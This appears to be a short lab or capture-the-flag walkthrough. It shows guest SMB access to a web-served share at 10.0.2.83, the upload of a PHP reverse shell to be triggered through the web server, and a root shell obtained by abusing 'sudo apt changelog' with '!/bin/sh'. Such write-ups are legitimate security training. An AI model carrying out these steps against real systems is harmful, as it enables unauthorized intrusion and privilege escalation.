SMB Upload Access Connected to Web Server

```
└─$ smbclient -U Guest \\\\10.0.2.83\\server\\
Password for [WORKGROUP\Guest]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu Dec 19 17:45:41 2024
  ..                                  D        0  Mon Apr 15 04:04:12 2024
  index.html                          N    10701  Mon Apr 15 04:04:31 2024
```

On this system, we have access to SMB upload capabilities, and we can upload to web directories

SMB Upload Access Connected to Web Server

```
smb: \> put php-reverse-shell.php
putting file php-reverse-shell.php as \php-reverse-shell.php (5360.8 kb/s)
smb: \> dir
  .                                   D        0  Sun Dec 22 15:56:13 2024
  ..                                  D        0  Mon Apr 15 04:04:12 2024
  php-reverse-shell.php               A     5490  Sun Dec 22 15:56:13 2024
  index.html                          N    10701  Mon Apr 15 04:04:31 2024
```

So we can upload a malicious script file to the server and then activate the code in the script by accessing it on the web server

Privilege Escalation
Sudo Apt

The Apt program is used to manage installed programs and packages on Linux / Unix systems

Privilege Escalation
Sudo Apt

```
sudo apt changelog apt
!/bin/sh
```

If we can run the Apt program with Sudo, we can escalate our privileges by using a command similar to the example shown above